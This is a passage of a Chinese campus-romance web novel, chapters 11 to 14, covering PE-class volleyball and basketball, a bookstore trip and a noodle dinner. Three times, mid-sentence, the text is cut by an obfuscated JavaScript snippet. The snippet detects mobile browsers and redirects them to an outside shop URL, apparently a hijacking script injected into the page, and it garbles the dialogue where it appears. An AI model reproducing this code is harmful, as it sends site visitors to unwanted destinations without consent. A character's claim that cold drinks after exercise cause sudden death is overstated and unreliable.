想到这两个人独特的素材来源,季知节也没真的想从这两个人嘴里得出参考书,也只是顺嘴问一下,有最好,没有就去问问语文老师。 结果令人意外的是,“还真有。”张镜想了一会,道,“我妈妈先前为了我表哥的议论文,找一个老师要了一个书单,然后我小姨逼着我哥把天天背,最后作文是稍微变好了一点,基本都是结构素材那种,你要吗?” “哇,太好了!你们就是我最大的人脉!”季知节喜出望外。 “作文这种东西着急不起来啦,语文就是个着急不起来的学科。”于落落总结,“这种结构的东西背起来容易拿分,但是高分难,因为改卷的老师可能看得不少,你慢慢来,我回去给你找一找合适的书,反正才高一,比起规定死的素材,多看一点也挺好。” “对,主打一个能扯,有什么素材就往里面套,装点一下变得好看点,老师就喜欢了。”张镜赞同道。 “呜呜呜,太感动了。”季知节擦了擦不存在的泪水,感激道。 “多哭点宝贝,你哭起来真好看。”于落落一脸邪笑。 “救命这里有变态!”季知节瑟瑟发抖,朝张镜柔弱道。 “两个傻缺。”张镜精准点评。 11. 第 11 章 三班的体育课是和四班一起上的,用体育老师汪老师的话来说,三班和四班是姐妹班,干脆一块上了。 这话说对也对,三班四班大部分的老师是重合的,九门主科里面有五门都是同一位老师,更别说全校都稀少的副科老师了。但是实际上……四班的体育老师好像是个新来的,但是还没有和离任的学校交接好,结果拖到了现在。 季知节也忘了从哪听来的了,传得有鼻子有眼的,不少人都相信了。虽然季知节不大相信,但是也无所谓,毕竟两个班一块上体育课还挺快乐的,人数和部分游戏的好玩程度成正比。 比如排球。 在跑完两圈做完热身活动之后,汪老师在拿出来带过来的两个排球。排除掉身体不舒服的同学,剩下的人以班级为阵营,围成一个圈进行垫球比赛,坚持时间长的班级获胜。 也没有什么实质性的奖励,但是这该死的集体荣誉感。 在五分钟的休整时间内,两个班都围着体育委员展开了一场激烈的战术安排。 周博承站在最中间,指了指几个学体育的同学,“你们分散开站,每个角落都要有人,排球是能全身触球的,不行我们铲回来都行,然后会打排球的也散散开,别集中在一块,不怎么会的也没关系,重在参与,记得接球的时候要喊出来,别撞上了,安全第一,懂了不!” “懂!”几个皮猴第一个应和,还撺掇着所有人把手叠一块,声称要从气势上压过对方。 “一班必胜”的口号相当响亮,热血几乎要冲出操场、冲向大气层。 另一边也不甘示弱,挑衅般喊出“二班最强”,目光所及之处皆是杀意。 最开心的当然是我们汪老师,举着手机录个不停,连喊开始的权力都交给了四班一个因为身体不舒服而没参加活动的女孩手里。 随着轻轻柔柔的一声开始,蓝黄相间的排球被扔向了空中。所有人像盯着食物的秃鹰一般,目光凶狠,不像要打排球,像是要杀了排球。 整个操场响起此起彼伏的“我来”“我来”,要不说三个臭皮匠能顶一个诸葛亮呢,本来以为会很快落地的排球居然磕磕绊绊得打了下去,虽然圆阵逐渐变得支离破碎,为了追击飞远了的排球,真的有人用上了滑铲,居然还真的给救回来了,纵使这样,所有人都还紧盯着那个小球。 “我来,别撞着了!”有女生不顾上午还在炫耀的新鞋子,把身体压低,一只腿跪在地上,半个鞋面接触着暗红色的塑胶跑道,另一只腿伸着支撑,勉强把球捞上来。 “轻点轻点!” 但是过轻的力道让球不足以飞到对面的位置,在半空中就动力不足,直往下掉。 “啊啊啊啊!救一下救一下!” 有男生在鬼哭狼嚎中飞速冲到中心点,不伦不类地用肩膀救了一球。 “我去!这都能救!哥!你绝了!” “那就叫爸爸!”男生还不忘回嘴。 “滚!” 季知节慌忙把有些凌乱的马尾重新拉紧,将飞过来的排球轻轻打飞,落到了对面,对面的沈瑜稳稳接住,将球传给了下一个人。 每当球快落下时,就有几个人屏住呼吸,每当球被救回来时,就有同伴的喝彩。 这算什么?这种紧张感…… 季知节小心用双手送出一个球,看着球在空中划出一道不算完美但合适的弧度。 感觉像在参加什么运动会,全班一起参加的那种。 两个班所在的操场一角也不知道什么时候围满了观众,其他上体育课的同学和老师都涌了过来,但是沉浸在排球中的人并没有发觉。 不知过了多久,旁边传来了一阵惊呼。 不知道是谁先反应过来,大喊一声“哈哈,我们赢啦!!” 没有人再去管还在空中的排球,也不管旁边的人是谁,尖叫声、欢呼声乍然响起,疯狂跑跑跑的几位更是直接席地而坐,喘着粗气也不妨碍脸上的笑容。 “救命!我们好牛啊!!!” “一班牛x!” “我们太帅了!!” “啊啊啊啊啊,还好我没拖后腿!” “谁说你拖后腿了!你接得老棒了!” “太疼了!排球怎么这么硬啊!” “老师你下次换个球行不!这球太硬了!!” 汪老师笑地发抖,“我这是专业排球!” “嘿,我们赢啦!”也有几个贱嗖嗖的小孩凑到二班的朋友那边炫耀,最终喜提一顿暴打。 旁边围观的学生也跟着欢呼了起来,无论认识不认识,先夸了再说。 隔壁班还嚷嚷着再比一场,最后一合计,一群人拉了个队伍,跑去打篮球去了。 —— “我的妈呀,太癫了。”季知节找到张镜和于落落,喘着气道,“颠排球,人也癫,你们看到周博承那个冲刺跳跃没,他拔了一米六多吧。” “你要是,呼~”于落落喘了口气,“没做那个下腰接球,我就信了你的鬼话了。” “别说了,腰已经要断了。”季知节扶着腰,艰难道,“镜子那几个接得也妙啊,稳稳地。” “低调低调。”脑袋放空的张镜已经开始口不择言,“我上辈子就是个排球。” “这个紧张感,绝了。”于落落摇了摇头,“又想球来,又害怕真的来,万一搁我这掉了,我能内疚死。” “不至于不至于。”晃到这边周博承笑道,“掉了就下次再比嘛,汪老师可能还得带我们两个班一段时间。” “不过真的挺好玩的,真刺激”沈瑜抖了抖衣领,看着季知节道,“要去小卖部买水吗?” 季知节看向另外两个女孩:“你们要吗,我给你们带?” “我陪你一块吧。”张镜道。 “我去找汪老师有点事,你们帮我带一瓶吧,我要可乐,冰的。”于落落摆手。 “剧烈运动玩,最好不要喝冰水,常温的行不。”季知节皱着脸恐吓道,“会猝死的。” 不是开玩笑,季知节在急诊上班的时候就碰到过这样的病例,原本还有侥幸的想法,自那之后就再也不敢了。 “诶?”于落落苦着脸。 “心脏高负荷运动的时候,摄入大量冰水会使心脏和大脑供血锐减,供需失衡就容易导致胸闷、心脏疼的症状,严重的就会猝死。”季知节唠叨道,“小心一点啦。” “知道啦知道啦。”于落落无奈地看着季知节,“管家婆。” “哈?” —— “那话真的假的?”周博承和几个人走在路上,没忍住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360038|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道,“猝死那个。” “当然是真的啦,不信你去搜。”季知节信誓旦旦,“我这可是专业知识。” “你们训练的时候老师没说过吗。”沈瑜看向周博承,皱眉道。 “说过……的吧。”周博承犹豫道,“但我没注意。” “那恭喜你死里逃生许多次,福气还在后面。”张镜轻飘飘道。 周博承打了个冷战,转移话题道:“你们那几个球接的真的还可以啊。要不然后面运动会你们报点项目吧。” “运动会是什么时候来着。”季知节搜索着脑海中的记忆,却发现已经忘得差不多了。 “十一月中左右吧。”回答的人是沈瑜,“每年都不太一样,大概是这个时间。” “也快了啊。”季知节算算时间。 “参加不了一点。”张镜果断拒绝,“运动白痴就是我。” “我也不行,跑不动。”季知节言简意赅。 周博承叹气,一张醇朴的脸上透露着无奈:“那可能又要抽签了,从小到大的运动会就没凑齐过人,全靠抽签。” “敢于踏上跑道的都是勇士。”沈瑜总结。 “赞同。” “+1。” “我就知道你们在夸我。”周博承美滋滋道。 沈瑜:“呵。” 季知节:“呵呵?” 张镜:“呵呵呵?” “没关系,语气坚定一点。”沈瑜支持道,“不需要质疑,周博承值得我们送出去的呵呵。” 周博承:“呵。” —— 就在几个人带着常温的饮料回到操场时,就看见于落落和刚刚喊开始的那个女孩子坐在一起聊天。 季知节拉着张镜抬脚就要往那边走,“我们过去了哈。” “你们等会准备干嘛。”沈瑜突然问。 “坐着?”季知节犹豫,“或者可能陪落落看篮球吧,有事嘛?” “没事。”沈瑜摇头,“于落落在喊你们了。” “啊,那我们过去了。”季知节看了一眼在招手的于落落,偏头道。 —— 看着季知节和张镜走远的身影,周博承戳了戳沈瑜,贼笑道:“打篮球不?” 沈瑜理都不理周博承,转身离开。 半晌,空气中传来轻飘飘的一个字。 “打。” “啧啧啧,买个水都要问一下人家去不去,你真的……” “闭嘴,再说话就把球扔你脸上。” “咦~” …… —— 走到于落落身旁的两个人朝二班的女孩笑了笑,于落落拍拍屁股上的灰,接过了可乐,对着女孩道:“我们去看他们打篮球,你去吗?” “你们去吧,我坐着等人。”女孩腼腆笑了笑。 “OKOK,我们走啦。”于落落挥手。 季知节张镜也跟着挥了挥手。 在去往篮球场的路上,张镜好奇道,“她好像从军训到现在的体育课一直没参与过吧,每次都能看见。” “好像是,可能身体不太舒服吧。”于落落点头,“我也刚认识。” “叫什么名字啊。”季知节顺口问道。 “张安安,平安的安。” 12. 第 12 章 “沈瑜在开屏吗?”坐在球场附近拍了半天的于落落没忍住道。 “怎么了?”季知节本来在看着球场上跑来跑去的同学,闻言不禁把头扭回到身边。 张镜也好奇地望了过来。 于落落翻着刚刚拍的照片,一言难尽道,“在一堆人里面帅得一骑绝尘。” “他本来就挺帅的吧。”季知节看着照片,画面定格在少年起跳准备投球的瞬间,右手掌心托着棕色的篮球,左手稳住篮球,小臂流畅的线条在阳光下显得蓬勃而充满生机,拿到球的少年视线紧盯着篮筐,汗水都显得像钻石一样耀眼。 “还行,眉眼比较上镜。”于落落评价道,“主要是白,跟汤圆一样了,白的人是真自带滤镜啊。” “你这手机像素挺好。”张镜的重点显然歪了。 “拍得也很牛,这构图,这视角。”季知节赞叹道,“周博承这张也好牛,他真的好高啊,他轻轻一跳就能盖帽。” “估计1.9m往上了,镜头容易装不下。”于落落惋惜,“他不太好拍。” “那是他的问题。”季知节果断溺爱,张镜选择无视。 三个人又投入到篮球赛中。 赛场上沈瑜甩了甩脸上的汗,看了一眼周博承,又看看旁边的队友,用眼神示意走位。 所幸队友也确实get到了,几个人乱七八糟的假动作频出,主打一个谁都别好过,但又不动声色地掩护着周博承和沈瑜,前半场沈瑜的三分球实在是狂揽不少分,所以四班的同学十警惕,立志不让球到沈瑜手里。但要不说芝麻汤圆只是皮白呢,沈瑜一边叫球一边带着对手往旁边走位,早就到篮框附近的周博承打出信号,信心满满地来了个帅气的灌篮。 “哦耶!”周博承跑着来揽住沈瑜,沈瑜收回视线,笑骂道:“闪开,一身汗味。” 其他人也跑了过来。 “不行了,我们太强了,篮球也赢了。”有人臭屁道。 “巧合!”对面反驳,“再开一局。” “来就来!”少年人总容易上头,立马答应下来。 “那就换一批人吧,旁边还有想玩的人,我先撤了。”沈瑜扯过袖子擦了擦脸,“我去歇一会。” “我也下了。”周博承道,“你们一会记得听到哨声来集合。” “OK!” —— “刚刚沈瑜是不是往这看了一下?”张镜突然道。 正在疯狂挑照片的两个人一脸懵,“看了吗?” “没有吗?”张镜更懵,“那么明显。” “我俩刚刚挑照片呢,你别说,真帅啊。”于落落解释道,“周博承刚刚灌篮那张封神。” “可能人家对镜头比较敏感吧。”季知节想起来热搜上那些被沈瑜揪出来的狗仔。 “那就不太适合做演员了,”于落落可惜道,“我还想说有没有可能骗到他给我拍个视频啥的。” “你有剧本了?”季知节好奇道。 于落落大手一挥,“总会有的,先把演员骗到手。” “你这个照片拿去卖给他们,还能赚一笔经费。” 于落落眼睛一亮。 张镜无奈地看着两个人聊一出是一出,在两个人聊得更离谱之前打断了她们,“沈瑜他们来了。” 然后成功地在某人耳朵里过滤成了“钱来了”。 于落落狼外婆一样朝着两个小羊羔招手,慈祥地问道:“买照片不?” 季知节在一边哈哈大笑,张镜无奈推了推眼镜,压根说不出话。 走近了周博承也兴奋道,“什么照片,给我看看。” 于落落把手机递过去,得意道:“于导力作。” “哇!” “哇!” 翻一张就惊叹一声,周博承简直抑制不住自己叫姐的心情,“发给我!发给我!求你!” “五块钱一张。”于落落伸出一根手指,挑眉道。 “那张灌篮的最帅,要加价。”季知节一本正经道。 “买!我买!”周博承立即道。 “哈哈哈哈哈哈哈。”周博承的反应显然极大的满足了于落落的虚荣心,鼻子都快长出天际了。 “哼哼,我一会拉个群,二班有些人我不认识,你帮着发一下。” “姐!你是我姐!”周博承谄媚道。 “我们落落的拍照技术那是没的说,你们就偷着乐吧。”季知节吹嘘道。 沈瑜本克制地站在离三名女生稍远一点的地方,听着几个人的聊天,听到这话突然侧头询问季知节道:“你拍照怎么样?” “我吗?”季知节回想了一下,“一般吧,挺随缘的。” “能有机会欣赏一下大作吗?”沈瑜挑眉笑笑。 “拍啥啊,没什么拍的吧。”季知节好笑,“风景图看嘛?” “运动会不是马上要到了嘛,到时候拍运动员啊。”沈瑜不动声色道。 “可以啊。”季知节点头,觉得不是什么大事。 “那你到时候把我拍好看点。”沈瑜勾唇道。 “没问题!模特是你的话我把握更大了。”季知节拍着胸脯保证道,“实在不行我拖落落去拍,保证给你拍得帅帅的。” “我相信你的技术。”沈瑜正色道,“你可以的。” 看着三言两语就答应下来给对方拍照的季知节,张镜和于落落对视一眼,总觉得哪里不对,但是又说不上来,再看看一脸问心无愧的沈瑜,违和感更强了。 反倒周博承背地里翻了个白眼,等着,回头就给你报个3000m。 —— 体育课的时间过得相当快乐,就显得接下来两节课更加漫长了。 地理课结束后,季知节看着已经稍显抽象的笔记,又想起虽然分科是文科,但是地理专业需要的是理科生的恐怖事实,偏过头说道:“我感觉我要买点地理资料了,感觉越到后面越抽象。” “资料太多了看得过来吗?”张镜说道,“你不是还要买数学和语文?” 季知节想了一下,“好像也是,买了也不一定写,你放学和我一块去吗?” “怎么去,你骑车带我吗?” “能不能做点合法的事情,自行车不能带人上路。”季知节吐槽道,“坐公交去,把车移到校门口,买完我再回来骑回去,刚好少骑点路。” “行啊,我放学和我妈说一声。”张镜点头,“问问落落吧。” …… “所以你们要抛弃我去约会是吗?”三个人站在校门口对质,于落落活像个被抛弃的怨种,看着两人幽幽道。 张镜头疼,“你讲讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360039|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道理,你自己把课排在周二晚上,我们能怎么办,你要翘课吗?” “我不敢。”于落落即答。 “那不结了。”张镜无奈,“而且我们是去买书,正经事,哪有什么约会。” “你们就不能周末去买吗!”于落落哼唧道,“我们一块。” “我想提前抱抱佛脚嘛,”季知节安抚道,“下周二就月考了,周末再买感觉只会被踹一脚,等月考之后我们再出来玩嘛。” 于落落勉强接受了这个说法,“行吧,那我们改天出来玩,别忘了哈。” “绝对绝对,下周周末我们就出来。”季知节坚定道。 看着于落落骑着小电驴远去的身影,张镜哼了一声,“她就是想出来玩了。” “那就玩呗,月考完出来放松放松。”季知节开朗一笑。 —— “五三是不是比较拔高啊,”季知节翻了翻手上厚重的教辅,有些纠结,“我想买稍微基础一点的,《一遍过》怎么样?” “有一点吧,但是也有基础的。”张镜找了本试卷翻着,“太基础也没什么必要吧,《必刷题》怎么样,题目分布还比较合理。” 季知节拿了本《必刷题》,“你看了很多教辅吗?” “市面上的都稍微看了一下,找了一些电子版对比过,最后买了五三,我比较习惯五三。”张镜淡定道,“电子版还挺方便的,能补充一下题库,不过我习惯手写。” “你真的是,”季知节惊叹道,“一脸平静地说出了一些相当恐怖的话。” “低调,我比较喜欢背后用功。”张镜平静道,“然后惊艳众人。” “不愧是你。那我买《必刷题》了。” “可以,不会的可以问我。”张镜点头,“毕竟我很恐怖。” “哈哈哈哈,你真的,好搞笑。”季知节不想在书店笑出声,但是又实在憋不住,脸都有些扭曲了。 “呵,能和你们玩到一块的,能有什么正常人。”张镜斜了一眼季知节,淡定道。 …… 当张镜和季知节拎着袋子从书店里出来的时候,外面的天色已经有点暗了,季知节看看时间,对张镜道,“要不然我们在外面吃吧,我请你。” 张镜扶了下有些下滑的眼镜,摇摇头,“不了,我和我妈说了回去吃的,我去那边坐公交就行。” “那行,我陪你过去。” “好,你今天不回家吃饭吗?” “我爸妈说今天加班,让我自己解决。”季知节耸肩,“我等会在这边找找有什么好吃的,等回头带你们过来。” “好呀。” “我和你说……” 一边谈天说地一边等车,等车来的时候两人还有点意犹未尽,“到家给我发消息啊。”季知节叮嘱道,“路上小心。” “知道了。”张镜看着季知节笑,“拜拜。” “拜拜!” 坐在靠窗的位置,张镜透过窗户看着还在车站等着的女孩,又笑着挥了挥手,示意她赶紧去吃饭。 女孩也不动,只是笑着看着车慢慢启动,然后目送着公交车远去。 将有些重的书换到左手,季知节右手打开手机开始搜索。 忽然左手一轻,耳边传来一道含笑的声音,“这么巧,你也在这?” 13. 第 13 章 这道声音再熟悉不过了,还没偏头,季知节脸上就带上了笑意。 “呀,你怎么也在这。”身旁的少年和白天不太一样,背着一个巨大的包,连衣服也换了一身,allblack的装扮乍一看有些冷漠,但是少年眉眼间带着的笑意让整个人看起来柔和许多,季知节有些惊叹地看着眼前的男生,“哇!你这个是吉他吗?” 沈瑜点点头,“对,琴行刚好在这边。” “你要回去了吗?怎么打算坐公交,你自行车呢?”沈瑜看了眼公交站牌。 “车在学校,我刚把张镜送走,准备吃完饭再走的。”季知节解释,伸手要拿书,“你把书给我吧,挺重的。” “问题不大。”沈瑜把拎着书的手往后靠,笑着转移话题,“刚好我也没吃,介意带我一个吗?” “当然可以啦,不过我也不知道吃什么。”季知节晃晃手机,“我准备搜搜看来着。” “牛肉粉丝吃吗?”沈瑜说道,“那边有个小巷子,里面有一家牛肉粉丝很好吃,我从小吃到大。” “那肯定要试试啊!”季知节相当捧场,“快快快,带我过去。” 沈瑜失笑,“好的好的,这就去。” 沈瑜说的从小吃到大是真的从小就开始吃,他从小学就在这边的琴行练琴了,那个时候放学还需要父母来接,接到人之后,就会背着小吉他去找饭吃,到后来沈瑜长大了,不需要接送了,他还是习惯在下课之后去吃一碗,可以说店里的老板是看着他长大的。 这是一家看上去十分温馨的店,店面不大,只有六张桌子,凳子还是一长条的那种板凳,过道也有些狭窄,两个人都不能并排走,但目光所及之处都相当干净,红底黄字的菜单贴在墙上,价格也十分亲民。 店里的人不多,沈瑜一进门就被看到了。坐在收银台后面的阿姨起身朝后厨喊道,“老刘,小玉来啦。” 季知节就见后厨的帘子被掀开,一个笑得慈祥的叔叔走了出来,朝沈瑜笑道,“我刚还和你姨说不知道今天小玉来不来。” “肯定来啊,”沈瑜笑道,“我还给你带客人来了。”说着让出了身后的季知节。 季知节乖巧地打了声招呼。 “哟,我们小玉还带朋友啦,”刘阿姨热情道,“要吃什么快看看,让叔叔给你们去做。” “谢谢阿姨。我要一份牛肉粉丝就好了,不要香菜。”季知节看着菜单,“沈瑜说这里牛肉粉丝可好吃了,我特别想尝尝!” “小玉这孩子,”刘阿姨笑得合不拢嘴,“不过你别说,我们做这个做了十年了,肯定包你满意。” “哇,那我要份大份的,我得多吃点。”季知节煞有其事道。 “好好好,”刘叔叔笑着低声道,“叔叔给你多放点牛肉。” 季知节也非常上道,低声回答:“太荣幸了,我下次也带同学过来,让她们都来吃。” 耐心地等着几个人聊够,沈瑜才开口道,“刘姨我也要牛肉粉丝,不要香菜。” “我还不知道你啊。”刘阿姨笑道,“行了你们去坐着吧。” 沈瑜笑着答应,带着季知节往最里面的一张桌子去,就在季知节想问吉他怎么放的时候,就看见沈瑜从冰柜旁边拖出了一个小小的的木头架子,然后稳稳当当地把吉他放在了上面。 季知节看得叹为观止,“这个架子是专门给你放吉他的吗?” “对,”沈瑜摆好吉他,“以前有次吉他没放好,差点摔了,后来刘叔就找了自己用木头拼了一个吉他架。” “哇,刘叔叔人好好。”季知节赞叹道,“绝了。” “是吧,所以我很喜欢到这里来,每次下课都过来。” “你学吉他多久了?”季知节好奇道。 “大概两年多吧。”沈瑜回答道,“从初中开始学的。” “那你说你从小就在这吃了!”季知节歪头不解道。 “以前到这边来学的是钢琴。”沈瑜忽的一笑,“同一个琴行。” “太多才多艺了。”季知节感叹道,想起以后的沈瑜还会贝斯、甚至还透露过在学架子鼓,“你真的很喜欢音乐啊。” “嗯?”沈瑜有些惊讶地看着季知节,“为什么这么说?” “啊?不是吗?”季知节比他还要茫然,“你不喜欢吗?” 看着季知节呆呆的脸,沈瑜被逗笑了,咳了一下正色道,“就、正常不是会说你学得多…” “我说了啊!”季知节觉得自己比窦娥还冤,“我夸你多才多艺了!” “不,”沈瑜词穷,“就怎么说呢……” 季知节“嗯”了一声,满脸写着“我倒要看看你准备怎么解释”,沈瑜看着就想笑。 组织了半天语言也说不出来,沈瑜无奈放弃,“好吧我说不出来。” 季知节皱着脸,“你逗我呢?” “不知道啊。”沈瑜无辜脸。 两个人对视一秒,最后齐齐笑了一声。 “什么啊……”季知节揉着脸,想要止住笑意。 沈瑜撑着头,看着对面的女孩,眼睛里的闪着光,“不过你的结论是对的,我很喜欢音乐、很喜欢唱歌。” “那就行了。”季知节看着沈瑜一脸理所当然,“记得给我签个名。” 沈瑜又被逗笑了,“不出名的话签名没价值啊,要着干嘛。” 季知节像是没想到沈瑜会这么说,扬眉道,“B市体育馆怎么样?” “嗯?” “你会在那里开演唱会的。”季知节笑着说。 不是既然你喜欢就一定可以成功的客套话,眼前的人好像只是在陈述一个事实,一个好像已经发生的事实。沈瑜突然想起刚刚想说的话了,我只是说了我在学钢琴和吉他而已,为什么能那么笃定我就很喜欢音乐呢,万一是父母要求的呢,不是没有可能啊,现在的家长不都希望孩子掌握一门特长吗? 不过,无所谓了。沈瑜想。看着这样一双的淬着光的眼睛,谁能拒绝呢?反正我不能。 “好啊,到时候给你留票。”沈瑜笑得肆意,张扬道。 “我记下了哈。”季知节笑得像只偷腥的猫,“别反悔。” “哼。”沈瑜难得小孩子气,“才不会。” “对了,”季知节突然想起来什么,“叶珊珊她们吃了你姐姐家的饼干都觉得很好吃,想知道在哪买的。” “我回头把店的地址发给你。”沈瑜了然。 “好哦,不过我没说这家店是你姐姐开的,”季知节看着沈瑜道,“可以嘛?” 沈瑜有点意外,随即笑得更开心了,“完全没问题,我本来就准备和你说别告诉别人的,早上忘记了。” “我不想再当代购了。”沈瑜苦着脸,显然深受其害。 “哈哈哈哈。”季知节又道,“不过落落和张镜知道的。” “她们没关系的。”沈瑜道,“你看着来就行。” 这家牛肉粉丝是真的很好吃,季知节边吃边赞叹道,还不忘拍了张照发到三个人的群里面。 “我下次要带张镜和落落过来。”季知节吃得一脸幸福,“太好吃了。” 沈瑜觉得和她待在一起真的很容易感到开心,甚至还有点开胃。 看了看比平时更快吃完的粉丝,沈瑜有些想笑。 忽然摆在桌上的两部手机突然同时震动了一下,然后以同样的频率开始疯狂震动了起来。两个人对视一眼,犹豫着拿起自己的手机。 列表里突然多出了一个群聊,名字叫做“三分之(5)”。群里面开始疯狂发着照片,是于落落在体育课上拍得那些,有自己班的也有四班的,三班的照片之中周博承和沈瑜的照片又更多一点。 于落落:【姐下课了!】 于落落:【颤抖吧,小弟们】 周博承:【姐!好帅的照片! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14360040|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感恩!(玫瑰)】 张镜:【下次刷屏说一声行吗】 张镜:【差点以为手机犯病了(微笑)】 “这个名字是怎么个回事啊。”季知节嫌弃道,“奇奇怪怪的,我要换个名字。” 【“季知节”修改群名为“换个名字”】 然后沈瑜就看见屏幕上出现这样一行字。 “我以为你要换一个名字。”沈瑜失笑,“正经的那种。” “我换了啊。”季知节理直气壮道,“但是我想不到,又想换。” “所以叫换个名字是吗。”沈瑜惊叹道,“天才啊。” “谬赞。” 【“于落落”修改群名为“不换”】 【“季知节”修改群名为“求求你”】 【“于落落”修改群名为“那好吧”】 【“张镜”修改群名为“stop”】 然后就真的stop了,修改群名的记录就停在了这一条,群名也成功的变成了“stop”。 张镜:【……】 沈瑜叹为观止,“你们相处太有意思了。” 季知节看着屏幕笑个不停,听到这话骄傲点头,“是吧,她们超级有趣的。” 沈瑜赞同,但还有一句“你也是”没有说出口。 “你不存照片吗?”看着沈瑜除了窥屏之外没有其他动作,季知节问道。 “不知道存哪些。”沈瑜点开照片苦恼道。 “都存啊!”季知节不解。 “我只想存点帅的,不想我的手机里有丑照。”沈瑜煞有其事道。 季知节划开记录,就差把照片抵到沈瑜眼睛上了,“都很帅啊,哪里丑了。” “是吗?”沈瑜把手机推到中间,指着聊天框里面的两张照片道,“那这两张哪个更帅一点?” 一张是沈瑜运球走步的照片,一张是沈瑜带球过人的照片。 “都挺帅的啊,真要比的话,”季知节指着带球过人的那张,“这张感觉冲击力更强一点,表情也很帅。”像鹰一样集中的表情。 然后沈瑜长按屏幕,把那张照片保存了,接着又指着另外两张照片道,“这两张哪个好一点?” …… “所以,你觉得这张最帅是吗?”经过一番比较之后,沈瑜看着手机上留下的那张照片道。 季知节喝着沈瑜上供的可乐,没好气道,“不然呢,你真的好龟毛哦。” “那,”沈瑜在屏幕上划了划,停在了周博承盖帽的那张,目光直勾勾盯着季知节道,“和这张比呢?” 季知节眨着眼睛看了看屏幕,又看了看支着脑袋漫不经心笑着的沈瑜,脑袋里突然闪过什么,试探道:“这张帅?” 沈瑜的嘴角肉眼可见的变直了。 “不是吧。”季知节难以置信道,“你绕那么一大圈,就为了让人夸你帅?” “对啊,”沈瑜凉凉道,“毕竟我那么龟毛,当然见不得有人比我帅,尤其这个人明明早上还说我帅,下午就忘了。” “你帅!”季知节哭笑不得,“你最帅了。” “呵。”沈瑜笑得凉薄,“骗人。” 季知节咽下几乎要跑出喉咙的笑声,睁着一双大眼睛看着沈瑜:“看着我的眼睛,相信我。” 对上那双眼睛,沈瑜忽的起身,拎着书就要去背吉他,“我才不信。” “别呀,我真心的。”季知节实在忍不住了,一边笑一边去追沈瑜,还不忘和刘叔叔刘阿姨说再见。 “你是什么小孩子吗?”季知节跑到沈瑜旁边探头笑道,“要我再夸夸你吗?” “那你别指望小孩子教你数学了。”沈瑜偏头冷笑。 “我可以去找张镜。”季知节挑眉。 “呵。”沈瑜走得更快了,就当季知节以为他要走远时,男生突然停下回头,“你走不走,公交车要到了。” “来了!” 14. 第 14 章 家里面依旧是黑的,季知节毫不意外地打开灯,径直回了房。 今天在外面耽搁的有点久,估摸着又要弄到晚上,季知节先去洗漱,立志写完就能直接上床睡觉。 书上的东西看着比昨天要熟悉了一些,虽然还有些磕磕绊绊,但是起码顺畅了一点。摸索着把作业写完,又把课本拿出来开始往前翻,学完一节就对着刚买回来的习题开始巩固。 听到外面传来的开门声,季知节从书本中抬起头,摸过旁边的手机看了一眼,已经晚上十二点多了,再过几分钟就是一点了,思考着要不要出去打个招呼,就见柳明霞已经推门进来了。 “还没睡呢?”柳明霞脸上写满了疲惫。 季知节把椅子转向门口,“没,写完这道题就睡了。” “要不要吃点东西再睡?” “不用了,你早点休息吧?今天厂里面很忙吗?” “有一批货要出。”柳明霞解释道,“不吃就早点睡,明天还要起早。” “知道,你们注意点身体。” 柳明霞关门出去,季知节看着门口发了会呆,又重新转回来写题。 季红卫早年出来打工后,攒了点钱拉了个合伙人办了个私营的工厂,这些年经营得还算可以,不算大富大贵也算得上小康水平。就是早年间太辛苦,加上现在自己办厂总要操心许多,经常加班,有时候分明住在一块却见不到人,季知节出门上学的时候他们还没起,季知节放学了他们还在厂里,到后来身体有点扛不住了,到高三那年还生了场病,也是因为那场病,让季知节听了父母的话,选择了护理专业。 写完最后一道选择题,季知节收拾好东西钻进了被窝,挑了个听力音频定了个时就把眼睛闭上了,一时间也不知道是要练听力还是催眠用。 就这么过上了一段睁眼是“三皇五帝”,闭眼是“ABCD”的日子,中间还穿插着大气含量、价值价格…… 临到周五班会课,李化腾在班上说明了月考的考试安排,下面一片哀嚎。 “两天考九门,哪个天才的安排。” “考完语文考化学,脑子真的转得过来吗……” 这几天被学习折磨得神智不清的季知节听着密集的考试安排两眼一黑,虚弱道:“我还能平安活到考试结束吗……” “放心吧,考试一般不会死人的。”张镜埋头在作业中,淡定道。 季知节:“……” 李化腾敲敲黑板,“我知道第一次月考是有点不习惯,但是没关系,整个高一考试节奏基本都是这样,多适应一下就行。” 下面嚎得更大声了。 李化腾随他们嚷了一会才道,“行了,有哪个力气不如多做几道题,考试都给我仔细点,诚信考试。” “周末都注意点安全,别出岔子。周一上学别迟到。” “各科课代表把作业确定一下写到黑板上,按时把作业完成,接下来的时间自习。” 